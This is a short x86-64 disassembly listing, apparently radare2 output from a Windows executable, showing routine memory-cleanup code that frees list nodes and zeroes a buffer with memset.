call fcn.140029490
mov rcx, qword [rsp + 0x70]
mov rbx, rax
call fcn.140024630
mov rcx, qword [rsp + 0x50]
call fcn.140024630
mov rcx, qword [rsp + 0x78]
call fcn.140024630
mov rsi, qword [rsp + 0x180]
test rsi, rsi
je 0x14001a170
mov rcx, qword [rsi + 0x10]
lea rax, [rsi + 0x20]
mov rdi, qword [rsi]
cmp rcx, rax
je 0x14001a102
mov rax, qword [rsi + 0x20]
lea rdx, [rax + 1]
call fcn.1400288c0
mov rcx, rsi
mov edx, 0x30
mov rsi, rdi
call fcn.1400288c0
jmp 0x14001a0dc
mov rcx, rbp
call fcn.140024630
mov rcx, rbx
call fcn.14000d320
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call fcn.140024630
lea rax, [rsp + 0x130]
mov qword [rsp + 0x78], rax
jmp 0x14001a0ca
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
xor edx, edx
lea r8, [rax*8]
call sub.msvcrt.dll_memset
mov rcx, qword [rsp + 0x170]
xor edx, edx
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x188], rdx
mov qword [rsp + 0x180], rdx
mov rdx, qword [rsp + 0x178]
cmp rcx, rax
je 0x14001a1c7
shl rdx, 3
call fcn.1400288c0
mov rcx, rbx
call fcn.14000d320
mov rbx, rax
jmp 0x14001a141